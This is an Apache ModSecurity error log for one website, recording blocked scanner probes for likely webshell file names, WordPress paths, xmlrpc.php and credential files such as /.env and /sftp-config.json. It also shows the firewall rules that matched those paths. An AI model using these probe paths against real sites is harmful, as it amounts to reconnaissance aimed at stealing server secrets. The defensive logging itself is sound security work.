[Mon Jan 19 21:54:30.240401 2026] [:error] [pid 47089:tid 47101] [client 132.196.60.193:18196] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hans.php"] [unique_id "aW43lhlIzijVNfdIsZ4JDgAAAQo"]
[Mon Jan 19 21:54:30.841632 2026] [:error] [pid 47089:tid 47114] [client 132.196.60.193:17762] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aW43lhlIzijVNfdIsZ4JDwAAARc"]
[Mon Jan 19 21:54:31.673941 2026] [:error] [pid 45657:tid 45666] [client 132.196.60.193:18268] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aW43lw4XFYp2OcwCx-CcCwAAAMc"]
[Mon Jan 19 21:54:32.266304 2026] [:error] [pid 45563:tid 45636] [client 132.196.60.193:18263] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aW43mJI4--OKA-Pqumy81AAAAI8"]
[Mon Jan 19 21:54:32.971613 2026] [:error] [pid 45563:tid 45641] [client 132.196.60.193:18247] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aW43mJI4--OKA-Pqumy82AAAAJQ"]
[Mon Jan 19 21:54:33.530885 2026] [:error] [pid 36216:tid 36227] [client 132.196.60.193:18293] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/404.php"] [unique_id "aW43mcIpfKKs9fzB-yCzHAAAAUk"]
[Mon Jan 19 21:54:34.243763 2026] [:error] [pid 45563:tid 45640] [client 132.196.60.193:18187] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/404.php"] [unique_id "aW43mpI4--OKA-Pqumy82QAAAJM"]
[Mon Jan 19 21:54:34.663748 2026] [:error] [pid 45562:tid 45607] [client 132.196.60.193:17736] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/404.php"] [unique_id "aW43mjoUil_kwpvtDW7qjQAAAE0"]
[Mon Jan 19 21:54:35.175914 2026] [:error] [pid 36216:tid 36221] [client 132.196.60.193:18290] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/404.php"] [unique_id "aW43m8IpfKKs9fzB-yCzIAAAAUM"]
[Mon Jan 19 21:54:35.618309 2026] [:error] [pid 45562:tid 45599] [client 132.196.60.193:18201] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/buy.php"] [unique_id "aW43mzoUil_kwpvtDW7qkAAAAEU"]
[Mon Jan 19 21:54:36.193525 2026] [:error] [pid 45561:tid 45571] [client 132.196.60.193:18324] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/buy.php"] [unique_id "aW43nK4ONSZn4nkTayJyuwAAAAU"]
[Mon Jan 19 21:54:36.605014 2026] [:error] [pid 45561:tid 45589] [client 132.196.60.193:18206] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/buy.php"] [unique_id "aW43nK4ONSZn4nkTayJyvQAAABc"]
[Mon Jan 19 21:54:37.243437 2026] [:error] [pid 45563:tid 45630] [client 132.196.60.193:18354] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/buy.php"] [unique_id "aW43nZI4--OKA-Pqumy82wAAAIk"]
[Tue Jan 20 02:48:54.137533 2026] [:error] [pid 45563:tid 45632] [client 164.92.84.169:62397] [client 164.92.84.169] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 164.92.84.169, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aW58lpI4--OKA-PqumwDZgAAAIs"]
[Tue Jan 20 02:48:54.146885 2026] [proxy_fcgi:error] [pid 45563:tid 45632] [client 164.92.84.169:62397] AH01071: Got error 'Primary script unknown'
[Tue Jan 20 02:48:56.104525 2026] [:error] [pid 45563:tid 45635] [client 164.92.84.169:62397] [client 164.92.84.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aW58mJI4--OKA-PqumwDcQAAAI4"]
[Tue Jan 20 02:48:56.429804 2026] [:error] [pid 45563:tid 45644] [client 164.92.84.169:59858] [client 164.92.84.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aW58mJI4--OKA-PqumwDcgAAAJc"]
[Tue Jan 20 02:48:56.755292 2026] [:error] [pid 45563:tid 45633] [client 164.92.84.169:62417] [client 164.92.84.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "aW58mJI4--OKA-PqumwDcwAAAIw"]
[Tue Jan 20 02:48:57.099748 2026] [:error] [pid 45561:tid 45585] [client 164.92.84.169:64330] [client 164.92.84.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aW58ma4ONSZn4nkTayLJKAAAABM"]
[Tue Jan 20 02:48:57.427060 2026] [:error] [pid 45561:tid 45571] [client 164.92.84.169:50118] [client 164.92.84.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aW58ma4ONSZn4nkTayLJKgAAAAU"]
[Tue Jan 20 02:48:57.774903 2026] [:error] [pid 45561:tid 45569] [client 164.92.84.169:51939] [client 164.92.84.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aW58ma4ONSZn4nkTayLJKwAAAAM"]
[Tue Jan 20 02:48:58.118410 2026] [:error] [pid 45561:tid 45566] [client 164.92.84.169:53565] [client 164.92.84.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aW58mq4ONSZn4nkTayLJLAAAAAA"]
[Tue Jan 20 13:29:00.876269 2026] [:error] [pid 56326:tid 56345] [client 103.77.107.178:49160] [client 103.77.107.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/sftp-config.json"] [unique_id "aW8SnBA6mi8Uwf45Uy_TewAAANE"]
[Tue Jan 20 20:08:33.986614 2026] [:error] [pid 54261:tid 54337] [client 64.225.8.2:56721] [client 64.225.8.2] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.vscode/sftp-config.json"] [unique_id "aW9wQQESZyr5alDl9TvtBwAAAcI"]
[Tue Jan 20 20:08:39.861715 2026] [:error] [pid 54261:tid 54340] [client 64.225.8.2:60921] [client 64.225.8.2] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/sftp-config.json"] [unique_id "aW9wRwESZyr5alDl9TvtDgAAAcU"]
[Tue Jan 20 23:20:31.462260 2026] [:error] [pid 8455:tid 8466] [client 142.111.146.31:46422] [client 142.111.146.31] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aW-dP4JiHdPVtruynXDQzQAAA0k"]
[Wed Jan 21 00:17:36.871684 2026] [:error] [pid 63647:tid 63658] [client 119.73.110.136:65055] [client 119.73.110.136] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 119.73.110.136, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aW-qoFUaYw1xHOoaFFI7EgAAAgk"]
[Wed Jan 21 00:17:36.883142 2026] [proxy_fcgi:error] [pid 63647:tid 63658] [client 119.73.110.136:65055] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 01:06:01.847908 2026] [proxy_fcgi:error] [pid 54260:tid 54311] [client 20.230.68.0:18302] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 01:06:02.055683 2026] [proxy_fcgi:error] [pid 54260:tid 54331] [client 20.230.68.0:18302] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 01:06:02.471948 2026] [proxy_fcgi:error] [pid 54260:tid 54327] [client 20.230.68.0:18302] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 01:06:02.680051 2026] [proxy_fcgi:error] [pid 54260:tid 54314] [client 20.230.68.0:18302] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 01:06:02.888279 2026] [proxy_fcgi:error] [pid 54260:tid 54323] [client 20.230.68.0:18302] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 01:06:03.111154 2026] [proxy_fcgi:error] [pid 54260:tid 54330] [client 20.230.68.0:18302] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 01:06:03.328890 2026] [proxy_fcgi:error] [pid 54260:tid 54335] [client 20.230.68.0:18302] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 01:06:03.763051 2026] [proxy_fcgi:error] [pid 54260:tid 54312] [client 20.230.68.0:18302] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 01:06:03.990372 2026] [:error] [pid 54260:tid 54328] [client 20.230.68.0:18302] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx1.php"] [unique_id "aW-1-9g7jS3jmpUN0WBIPAAAAVQ"]
[Wed Jan 21 01:06:04.886644 2026] [:error] [pid 63647:tid 63667] [client 20.230.68.0:18264] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx1.php"] [unique_id "aW-1_FUaYw1xHOoaFFJCNAAAAhI"]
[Wed Jan 21 01:06:05.427740 2026] [:error] [pid 17340:tid 17361] [client 20.230.68.0:18295] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx1.php"] [unique_id "aW-1_fAsOSYVgw_35t3YdwAAAkU"]
[Wed Jan 21 01:06:06.082988 2026] [:error] [pid 63647:tid 63666] [client 20.230.68.0:18204] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx1.php"] [unique_id "aW-1_lUaYw1xHOoaFFJCNQAAAhE"]
[Wed Jan 21 01:06:06.724371 2026] [:error] [pid 63647:tid 63662] [client 20.230.68.0:18282] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xv.php"] [unique_id "aW-1_lUaYw1xHOoaFFJCNgAAAg0"]
[Wed Jan 21 01:06:07.505305 2026] [:error] [pid 8455:tid 8467] [client 20.230.68.0:18263] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xv.php"] [unique_id "aW-1_4JiHdPVtruynXDhFAAAA0o"]
[Wed Jan 21 01:06:08.252937 2026] [:error] [pid 54260:tid 54322] [client 20.230.68.0:18203] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xv.php"] [unique_id "aW-2ANg7jS3jmpUN0WBIPgAAAU4"]
[Wed Jan 21 01:06:08.762654 2026] [:error] [pid 56360:tid 56379] [client 20.230.68.0:18192] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xv.php"] [unique_id "aW-2AE1J8CD1rR-wXXuH5QAAARE"]
[Wed Jan 21 01:06:09.433718 2026] [:error] [pid 63647:tid 63659] [client 20.230.68.0:18253] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x56.php"] [unique_id "aW-2AVUaYw1xHOoaFFJCNwAAAgo"]
[Wed Jan 21 01:06:09.992390 2026] [:error] [pid 17340:tid 17376] [client 20.230.68.0:13270] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x56.php"] [unique_id "aW-2AfAsOSYVgw_35t3YewAAAlQ"]
[Wed Jan 21 01:06:10.600357 2026] [:error] [pid 17340:tid 17370] [client 20.230.68.0:18275] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x56.php"] [unique_id "aW-2AvAsOSYVgw_35t3YfAAAAk4"]
[Wed Jan 21 01:06:11.414757 2026] [:error] [pid 56291:tid 56306] [client 20.230.68.0:18270] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x56.php"] [unique_id "aW-2A7XgW_1T5Nikxa0eaAAAAEs"]
[Wed Jan 21 01:06:11.927190 2026] [:error] [pid 17295:tid 17304] [client 20.230.68.0:18255] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/htaccess.php"] [unique_id "aW-2A_ZJhGdrcqZICT_LfAAAAYY"]
[Wed Jan 21 01:06:12.494541 2026] [:error] [pid 8455:tid 8466] [client 20.230.68.0:18256] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/htaccess.php"] [unique_id "aW-2BIJiHdPVtruynXDhFQAAA0k"]
[Wed Jan 21 01:06:13.130182 2026] [:error] [pid 54260:tid 54315] [client 20.230.68.0:18285] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/htaccess.php"] [unique_id "aW-2Bdg7jS3jmpUN0WBIRQAAAUc"]
[Wed Jan 21 01:06:13.803525 2026] [:error] [pid 8455:tid 8472] [client 20.230.68.0:18290] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/htaccess.php"] [unique_id "aW-2BYJiHdPVtruynXDhFgAAA08"]
[Wed Jan 21 01:06:14.614006 2026] [:error] [pid 54259:tid 54277] [client 20.230.68.0:18289] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/readme.php"] [unique_id "aW-2Bg2q1USrePnOoFQgyQAAAIA"]
[Wed Jan 21 01:06:15.447486 2026] [:error] [pid 54382:tid 54385] [client 20.230.68.0:18281] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/readme.php"] [unique_id "aW-2B0TJlZ9SJ6sBOEvm7QAAAAA"]
[Wed Jan 21 01:06:16.147195 2026] [:error] [pid 54382:tid 54389] [client 20.230.68.0:18283] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/readme.php"] [unique_id "aW-2CETJlZ9SJ6sBOEvm7gAAAAQ"]
[Wed Jan 21 01:06:16.707189 2026] [:error] [pid 17295:tid 17301] [client 20.230.68.0:18182] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/readme.php"] [unique_id "aW-2CPZJhGdrcqZICT_LfwAAAYM"]
[Wed Jan 21 01:06:17.147263 2026] [:error] [pid 56326:tid 56351] [client 20.230.68.0:18266] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x50.php"] [unique_id "aW-2CRA6mi8Uwf45Uy9g6AAAANc"]
[Wed Jan 21 01:06:17.572071 2026] [:error] [pid 56326:tid 56348] [client 20.230.68.0:18291] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x50.php"] [unique_id "aW-2CRA6mi8Uwf45Uy9g6QAAANQ"]
[Wed Jan 21 01:06:18.112793 2026] [:error] [pid 8455:tid 8478] [client 20.230.68.0:18181] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x50.php"] [unique_id "aW-2CoJiHdPVtruynXDhFwAAA1U"]
[Wed Jan 21 01:06:18.565515 2026] [:error] [pid 17340:tid 17357] [client 20.230.68.0:18244] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x50.php"] [unique_id "aW-2CvAsOSYVgw_35t3YgAAAAkE"]
[Wed Jan 21 01:06:19.076311 2026] [:error] [pid 56360:tid 56369] [client 20.230.68.0:18279] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fv.php"] [unique_id "aW-2C01J8CD1rR-wXXuH7QAAAQc"]
[Wed Jan 21 01:06:19.622801 2026] [:error] [pid 54259:tid 54285] [client 20.230.68.0:13253] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fv.php"] [unique_id "aW-2Cw2q1USrePnOoFQgywAAAIg"]
[Wed Jan 21 01:06:20.059267 2026] [:error] [pid 56291:tid 56299] [client 20.230.68.0:18253] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fv.php"] [unique_id "aW-2DLXgW_1T5Nikxa0eagAAAEQ"]
